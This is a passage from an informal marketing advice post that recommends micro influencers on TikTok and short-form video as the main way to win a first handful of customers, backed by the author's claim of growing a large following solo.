You don’t need this platform. You’d get the same result DMing influencers directly. But it streamlines the search.

Where people go wrong: they go after big influencers first.

Someone with 1,000 TikTok followers has the same likelihood of going viral as someone with 1 million. TikTok is democratized like no other platform.

What you want: micro influencers who UNDERSTAND your product and your audience. Not big names who just want the paycheck and will forget about you immediately.

Start micro. Save your budget.

Get 5 customers, not 5 million impressions.

My Honest Pick

If I had to pick 1 method for someone starting from zero...

Short-form video content. Method #4. Every time.

It’s free. It compounds. And it feeds EVERYTHING else on this list.

Your short-form video becomes a forum post. Becomes a lead magnet. Becomes a long-form script. Becomes an affiliate’s content to remix.

I grew from 0 to 1.7+ million followers making content 1 day per week. Solo. No team. No budget. No editor. No paid ads.

You don’t need 1.4 million followers to get 5 customers. You need like... 10 videos.

Pick 3-4 methods from this list. Try them for 30 days. See what works. Double down on the winner.

And remember…

You don’t need 5,000 customers right now.

You need your first 5. Then 50. Then 500.

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